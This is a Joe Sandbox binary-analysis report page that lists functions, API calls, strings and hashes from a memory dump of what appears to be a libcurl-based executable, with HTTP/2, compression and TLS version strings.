Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: strlen$fputcfputsfwrite
String ID: Warning:
API String ID: 810330193-3119939844
Opcode ID: 7849886589fbe4ce221ccb0b19a7553dd73ce238e73c5991d0fd55790018465a
Instruction ID: 018dbc411347fc0ad8497648185350d71702534e50db32a0e798fde124d3b943
Opcode Fuzzy Hash: 7849886589fbe4ce221ccb0b19a7553dd73ce238e73c5991d0fd55790018465a
Instruction Fuzzy Hash: 602196B2804301AFDB21BF24DD8562ABBF9EF84700F058939F98846216E232E914D773

Function 00381D10 Relevance: 12.3, APIs: 3, Strings: 5, Instructions: 348stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00381DB1
memcpy.MSVCRT(00000000,?,?), ref: 00381DE8
memset.MSVCRT ref: 00382055

Strings

----, xrefs: 00381F6B
----, xrefs: 00381F64
----, xrefs: 00381F72
----, xrefs: 00381F80
----, xrefs: 00381F79

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: memcpymemsetstrlen
String ID: ----$----$----$----$----
API String ID: 160209724-1149513683
Opcode ID: c5a2bd805f98a09123ea85e96b325d25ba07eb84861f2c7390b77fb43a5d42f9
Instruction ID: 04758913d9280cf2bf8527c72bf7805f19b0731cd3622e1d088dc2a8c63dc683
Opcode Fuzzy Hash: c5a2bd805f98a09123ea85e96b325d25ba07eb84861f2c7390b77fb43a5d42f9
Instruction Fuzzy Hash: 57D179B19003008BEB269F15C888B17BBE4BF44308F1945A8ED499F352E776E954CFD2

Function 00365750 Relevance: 12.1, APIs: 8, Instructions: 143stringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 00365766
calloc.MSVCRT ref: 00365787
_fileno.MSVCRT ref: 003657BB
ftell.MSVCRT ref: 003657D1
_fstati64.MSVCRT(00000000,?), ref: 003657EE
free.MSVCRT ref: 003658CF
free.MSVCRT ref: 003658D8

Part of subcall function 003822F0: _stati64.MSVCRT(00365779,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00382377
Part of subcall function 003822F0: _access.MSVCRT ref: 00382387
Part of subcall function 003822F0: strrchr.MSVCRT ref: 00382427
Part of subcall function 003822F0: strrchr.MSVCRT ref: 00382438

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: freestrrchr$_access_fileno_fstati64_stati64callocftellstrcmp
String ID:
API String ID: 3818478975-0
Opcode ID: 7dc86b2e079205f885d13e42d50aea3edc5e5efb2544b0e9a24ff5eb299bc9eb
Instruction ID: a830be97bc30c5f960ffea5b7adf1d63bd05885daf0f034af1ac25bde862185e
Opcode Fuzzy Hash: 7dc86b2e079205f885d13e42d50aea3edc5e5efb2544b0e9a24ff5eb299bc9eb
Instruction Fuzzy Hash: 9E4105F1E00B01ABEB01AB25DC06B2BBAA8BF44754F048538F849D7641F765E92487E3

Function 003A3F40 Relevance: 12.1, APIs: 4, Strings: 4, Instructions: 104stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 003A4002
strlen.MSVCRT ref: 003A4038
strlen.MSVCRT ref: 003A406B
strlen.MSVCRT ref: 003A409D

Strings

deflate, xrefs: 003A3F65, 003A4019
identity, xrefs: 003A3F42, 003A3F47, 003A3F60, 003A3F7A, 003A3F94, 003A3FAE, 003A3FD8, 003A3FDD, 003A4014, 003A404A, 003A407D
gzip, xrefs: 003A3F7F, 003A404F
tity, xrefs: 003A3FF4

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: strlen
String ID: deflate$gzip$identity$tity
API String ID: 39653677-3643666304
Opcode ID: a8bc342f22a54530a2ae68bb98978f6a3bd7e1a267586e065de0f72c5a80078f
Instruction ID: a2c7aadb41964ced4b5f1be89a5af0b046c808ff5cc10c51f5e5ab3d35f34a0b
Opcode Fuzzy Hash: a8bc342f22a54530a2ae68bb98978f6a3bd7e1a267586e065de0f72c5a80078f
Instruction Fuzzy Hash: 5A315C65B5030267DB27AF226C4B767B5A59F51708F0B4034EC0877345FBE4A624C2E7

Function 00380380 Relevance: 10.8, APIs: 3, Strings: 4, Instructions: 319COMMON

Download Yara Rule

APIs

memcpy.MSVCRT(?,?,?), ref: 0038041C
memmove.MSVCRT(?,?,?), ref: 00380459
memcpy.MSVCRT(?,?,?), ref: 00380508

Strings

Q, xrefs: 003806B4
Failed receiving HTTP2 data, xrefs: 003807F7
nghttp2_session_mem_recv() returned %zd:%s, xrefs: 003805F0
%zd data bytes written, xrefs: 0038051D

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: memcpy$memmove
String ID: %zd data bytes written$Failed receiving HTTP2 data$Q$nghttp2_session_mem_recv() returned %zd:%s
API String ID: 1283327689-1364855282
Opcode ID: b264391483aee5d56c31fcf3e050a6b7de48a12cbd7040b6672b6aa42aef2c59
Instruction ID: ac958391c636cedbfd971559cf3cd6ad9e4bdbf6388d78cd120a5aecadb84e6f
Opcode Fuzzy Hash: b264391483aee5d56c31fcf3e050a6b7de48a12cbd7040b6672b6aa42aef2c59
Instruction Fuzzy Hash: C4D1A074604306EFD79AEF24C844BAAB7E4FF84304F1545B8E8988B251E771AC98CF91

Function 00382FE0 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 275stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 003830A0
memcpy.MSVCRT(?,?,00000002), ref: 003830E4
memmove.MSVCRT(?,?,?), ref: 0038319E
memcpy.MSVCRT(?,?,00000002,?,00000000,?,?,00000000,00382CAD,?), ref: 00383258
fclose.MSVCRT ref: 0038331E

Strings

Content-Type, xrefs: 0038305A

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: memcpy$fclosememmovestrlen
String ID: Content-Type
API String ID: 3890074660-2058190213
Opcode ID: 5998fc5cdfcaf45abae1edb3723ba58a955483707e144f6ac15f3bcb79b20372
Instruction ID: 9c44d55c09e0dbc0ba491bfc30cf96f7bc6ecef3076c4b02713890cb9b804ce8
Opcode Fuzzy Hash: 5998fc5cdfcaf45abae1edb3723ba58a955483707e144f6ac15f3bcb79b20372
Instruction Fuzzy Hash: 5B91AEB150870AAFD711FF65C848B66B7E4FF04B14F0549A8E84587B40E7B5EA18CBD1

Function 003B55E0 Relevance: 10.7, APIs: 6, Strings: 1, Instructions: 151stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 003B563D
strlen.MSVCRT ref: 003B5652
strchr.MSVCRT ref: 003B5669
strchr.MSVCRT ref: 003B56AA
strchr.MSVCRT ref: 003B56BC
strchr.MSVCRT ref: 003B56FC

Strings

xn--, xrefs: 003B56CE

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: strchr$strlen
String ID: xn--
API String ID: 842768466-2826155999
Opcode ID: 5e285118b21f5c66bc8d90d1d6f600a05b9319a1cf06a06a1d5f8c5b1ef19b0e
Instruction ID: 9a5e1b039fddd8600d9170c0feab9e7da2cabece1f0f372893caa933de22514c
Opcode Fuzzy Hash: 5e285118b21f5c66bc8d90d1d6f600a05b9319a1cf06a06a1d5f8c5b1ef19b0e
Instruction Fuzzy Hash: 5B410994B00B8567EB272A356D8FBAB769C9F4134CF090038FE49C5182FE55D918C2B2

Function 00371AF0 Relevance: 10.6, APIs: 1, Strings: 6, Instructions: 90stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00371B32

Part of subcall function 00388AE0: memcpy.MSVCRT(?,OpenSSL/1.1.1a (Schannel),0000001A,?,?,?,?,00371C39,OpenSSL/1.1.1a (Schannel),00000050,0036EECE,00000004,?,?,?,00368BA3), ref: 00388B9B

Strings

libssh2/%s, xrefs: 00371BEB
zlib/%s, xrefs: 00371B72
WinIDN, xrefs: 00371BCD
%u.%u.%u, xrefs: 00371BBA
brotli/, xrefs: 00371B85
libcurl/7.64.0 OpenSSL/1.1.1a (Schannel) zlib/1.2.11 brotli/1.0.7 WinIDN libssh2/1.8.0 nghttp2/1.36.0, xrefs: 00371B2D, 00371B78, 00371B90, 00371BC0, 00371BD3, 00371BF1, 00371BFF, 00371C11

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: memcpystrlen
String ID: WinIDN$ brotli/$ libssh2/%s$ zlib/%s$%u.%u.%u$libcurl/7.64.0 OpenSSL/1.1.1a (Schannel) zlib/1.2.11 brotli/1.0.7 WinIDN libssh2/1.8.0 nghttp2/1.36.0
API String ID: 3412268980-1275948520
Opcode ID: 39cfc8e9295231a19671a30d9564fdf51abd01299c3e5d4c1878f17fd5d9589c
Instruction ID: 33f7be4e867068773d66fc4f93c87d4bc7771ac194f05417b6e85ee0a9e47b57
Opcode Fuzzy Hash: 39cfc8e9295231a19671a30d9564fdf51abd01299c3e5d4c1878f17fd5d9589c
Instruction Fuzzy Hash: 7D212BB795024239E32137745C0AAB7399ACB92384F860239F8085E683FEAD15C4D2E2

Function 00396FB0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 75filestringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00397002
strlen.MSVCRT ref: 00397039
fwrite.MSVCRT ref: 00397087
fwrite.MSVCRT ref: 00397099

Strings

..., xrefs: 00397018
..., xrefs: 00397028

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: fwritestrlen
String ID: ...$...
API String ID: 735340043-2253869979
Opcode ID: aaa82cd90ce29de8a174db2e0d5870d1eca4f6a35d6dd1c6b44cf2511e365371
Instruction ID: a66de0dbc891ac0da3e4c2695bc4a07b2a8ca4435df9a22111a2fceb9f5dcf7c
Opcode Fuzzy Hash: aaa82cd90ce29de8a174db2e0d5870d1eca4f6a35d6dd1c6b44cf2511e365371
Instruction Fuzzy Hash: 3C215EB2A547007AEE3662209C8BFE7756DBF40714F084524F5C8152C2FA7661A8C7E3

Function 003818C0 Relevance: 10.6, APIs: 7, Instructions: 73COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00381909
VerSetConditionMask.KERNEL32(00000000,00000000,00000002,?), ref: 0038193C
VerSetConditionMask.KERNEL32(00000000,?,00000001,?), ref: 00381943
VerSetConditionMask.KERNEL32(00000000,?,00000020,?,?,00000001,?), ref: 0038194D
VerSetConditionMask.KERNEL32(00000000,?,00000010,?,?,00000020,?,?,00000001,?), ref: 00381954
VerSetConditionMask.KERNEL32(00000000,?,00000008,00000001,?,00000010,?,?,00000020,?,?,00000001,?), ref: 00381960
VerifyVersionInfoA.KERNEL32(?,00000033,00000000), ref: 0038196D

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: ba0497e89b70f72610412f6dbf763212eabafac0a08f243e8c68085294202dbd
Instruction ID: ca5b18e7d0780d8dc1f1b9ca1963ebd0d06b695d5efa57dc7db23a036d568961
Opcode Fuzzy Hash: ba0497e89b70f72610412f6dbf763212eabafac0a08f243e8c68085294202dbd
Instruction Fuzzy Hash: BF1104B5A403447BF6306B30DC09F7B7BADEBC4B44F05881CF6899B2C1C276A8048762

Function 0036E6F0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 66stringCOMMON

Download Yara Rule

APIs

strstr.MSVCRT ref: 0036E708
strrchr.MSVCRT ref: 0036E71B
strrchr.MSVCRT ref: 0036E728
_strdup.MSVCRT(?), ref: 0036E750
free.MSVCRT ref: 0036E770

Strings

://, xrefs: 0036E702

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: strrchr$_strdupfreestrstr
String ID: ://
API String ID: 1310700620-1869659232
Opcode ID: 1829afac132984a58bfb671b526232607d20539a6a75f5e516034dad8111915c
Instruction ID: 730111f8b77a6a36472904e259711fb8237af7fbf21f5e6abc1ac60498c4644e
Opcode Fuzzy Hash: 1829afac132984a58bfb671b526232607d20539a6a75f5e516034dad8111915c
Instruction Fuzzy Hash: B911C2FAA003125BFB296A259C46B2B7BA9DF80760F090435FC45DB381F725DD1886F2

Function 00369740 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61stringCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(APPDATA,?,00000400), ref: 0036975C
strchr.MSVCRT ref: 00369775
ExpandEnvironmentStringsA.KERNEL32(APPDATA,?,00000400), ref: 0036978A
strchr.MSVCRT ref: 0036979B
_strdup.MSVCRT(?), ref: 003697BF

Strings

APPDATA, xrefs: 0036975B, 00369774, 00369789

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: Environmentstrchr$ExpandStringsVariable_strdup
String ID: APPDATA
API String ID: 69599419-4054820676
Opcode ID: 66f05f64f5ed90b937403974175b0ffa1dc9d4888ebb754b59c74dcaa9a01ef9
Instruction ID: be061d7e622ddca968a3faf51ec150e5505d3729b2b10b624b2a6e1b37cda6b8
Opcode Fuzzy Hash: 66f05f64f5ed90b937403974175b0ffa1dc9d4888ebb754b59c74dcaa9a01ef9
Instruction Fuzzy Hash: BD014CA3F502552FFB373931AC8DBBA345CDB81319F06803AFE4AD61C9F539984841A2

Function 00369550 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 49COMMON

Download Yara Rule

APIs

puts.MSVCRT ref: 00369572
printf.MSVCRT ref: 00369597
puts.MSVCRT ref: 003695B3

Strings

<none>, xrefs: 003695AE
%s, xrefs: 00369592
Build-time engines:, xrefs: 0036956D

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: puts$printf
String ID: %s$ <none>$Build-time engines:
API String ID: 1383214260-2903797034
Opcode ID: 6608437a130a9aee628efe97d89c19fd4b42bd79b5c4097fc124b828cf190684
Instruction ID: 52d29470044664f713b24c3e006823539f887044bb913ab98847b0e782a24dcd
Opcode Fuzzy Hash: 6608437a130a9aee628efe97d89c19fd4b42bd79b5c4097fc124b828cf190684
Instruction Fuzzy Hash: 69F0B4F4A042419BDA12BB14DC16E2A7AE86B84300F044829F6C5CB341F675D400C663

Function 0037F190 Relevance: 9.3, APIs: 1, Strings: 5, Instructions: 339COMMON

Download Yara Rule

APIs

memcpy.MSVCRT(?,?,?), ref: 0037F502

Strings

Connection state changed (MAX_CONCURRENT_STREAMS == %u)!, xrefs: 0037F259
failed to duplicate handle, xrefs: 0037F552
Internal NULL stream!, xrefs: 0037F562
failed to set user_data for stream %d, xrefs: 0037F6AE
failed to add handle to multi, xrefs: 0037F5FB

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: memcpy
String ID: Connection state changed (MAX_CONCURRENT_STREAMS == %u)!$Internal NULL stream!$failed to add handle to multi$failed to duplicate handle$failed to set user_data for stream %d
API String ID: 3510742995-3583929766
Opcode ID: 07f5eafe99c2c8884218a91857b42c64d2a644154f3ad65a3b6e1526f340c759
Instruction ID: e71e6168ef967100aefd68655853b8ab811baccef4a46eb9feefb0c8fe00361c
Opcode Fuzzy Hash: 07f5eafe99c2c8884218a91857b42c64d2a644154f3ad65a3b6e1526f340c759
Instruction Fuzzy Hash: 35D1D1B19007019FEB36DF24DC8ABAB77A4BF05314F098538EC5D5B292E739A914CB91

Function 003B8B80 Relevance: 9.2, APIs: 4, Strings: 2, Instructions: 244stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 003B8B98
strchr.MSVCRT ref: 003B8BF3
strlen.MSVCRT ref: 003B8C23
memcpy.MSVCRT(000000010000017C,?,00000000), ref: 003B8C3F

Strings

%s?dns=%s, xrefs: 003B8D02
Failed to encode DOH packet [%d], xrefs: 003B8CD9

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

